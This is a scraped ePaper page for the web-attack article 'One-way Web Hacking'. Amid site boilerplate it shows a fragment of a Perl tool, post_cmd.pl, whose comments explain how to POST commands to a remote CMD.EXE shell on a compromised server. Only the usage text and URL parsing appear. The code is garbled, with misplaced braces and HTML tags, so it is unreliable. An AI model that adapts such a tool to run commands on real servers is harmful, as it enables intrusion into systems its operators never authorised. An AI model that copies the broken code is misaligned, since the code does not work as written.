12.07.2013 Views

One-way Web Hacking

One-way Web Hacking

One-way Web Hacking

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

# a) Since we cannot send command line arguments to CMD.EXE (such<br />

# as CMD /C), we have to make sure that the last command we<br />

# send is an "exit", otherwise, the command shell will not die<br />

# on the remote server.<br />

#<br />

# b) Since we are sending commands via POST, we have to calculate<br />

# the number of characters sent, and use that as a Content-length<br />

# value.<br />

use IO::Socket;<br />

use IO::Handle;<br />

if(defined($ARGV[0])) {<br />

}<br />

$server = $ARGV[0];<br />

else {<br />

}<br />

print "usage: post_cmd.pl url [proxy:port] < data\n";<br />

print "By Saumil Shah (c) net-square 2001\n\n";<br />

print "post_cmd.pl takes all the data to be POSTed to the URL as\n";<br />

print "standard input. Either enter the data manually and hit ^D (unix)\n";<br />

print "or ^Z (dos) to end; or redirect the data using files or pipes\n\n";<br />

exit(0);<br />

if($server =~ /\//o) {<br />

}<br />

$server =~ s/http:\/\///o;<br />

$server =~ /(.*?)\/(.*)/o;<br />

$file = '/'. $2;<br />

$server = $1;

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!